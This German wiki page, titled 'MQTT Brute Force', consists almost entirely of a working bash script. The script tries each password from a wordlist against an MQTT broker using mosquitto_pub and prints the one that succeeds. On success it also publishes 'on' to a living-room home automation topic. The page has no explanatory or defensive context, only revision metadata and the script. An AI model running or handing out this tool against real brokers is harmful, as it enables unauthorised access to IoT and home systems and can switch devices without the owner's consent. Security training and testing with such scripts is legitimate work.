MQTT Brute Force

Aus Xinux Wiki
Version vom 4. November 2024, 11:27 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „<pre> #!/bin/bash # Initialisiere Variablen while getopts ":h:u:f:" opt; do case $opt in h) HOST=$OPTARG ;; u) BENUTZER=$OPTARG ;; f) FILE=$OPTA…“)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen
#!/bin/bash

# Initialisiere Variablen
while getopts ":h:u:f:" opt; do
  case $opt in
    h) HOST=$OPTARG ;;
    u) BENUTZER=$OPTARG ;;
    f) FILE=$OPTARG ;;
    \?) echo "Ungültige Option: -$OPTARG" >&2; exit 1 ;;
    :) echo "Option -$OPTARG benötigt ein Argument." >&2; exit 1 ;;
  esac
done

# Überprüfe, ob alle notwendigen Argumente gesetzt sind
if [ -z "$HOST" ] || [ -z "$BENUTZER" ] || [ -z "$FILE" ]; then
  echo "Verwendung: $0 -h HOST -u BENUTZER -f FILE"
  exit 1
fi

# Lies das Passwort-File Zeile für Zeile und versuche, sich mit jedem Passwort anzumelden
while read -r PASS; do
  if mosquitto_pub -h "$HOST" -u "$BENUTZER" -P "$PASS" -t home/livingRoom/status -m "on" 2> /dev/null; then
    echo "Das Passwort ist: $PASS"
    exit 0
  fi
done < "$FILE"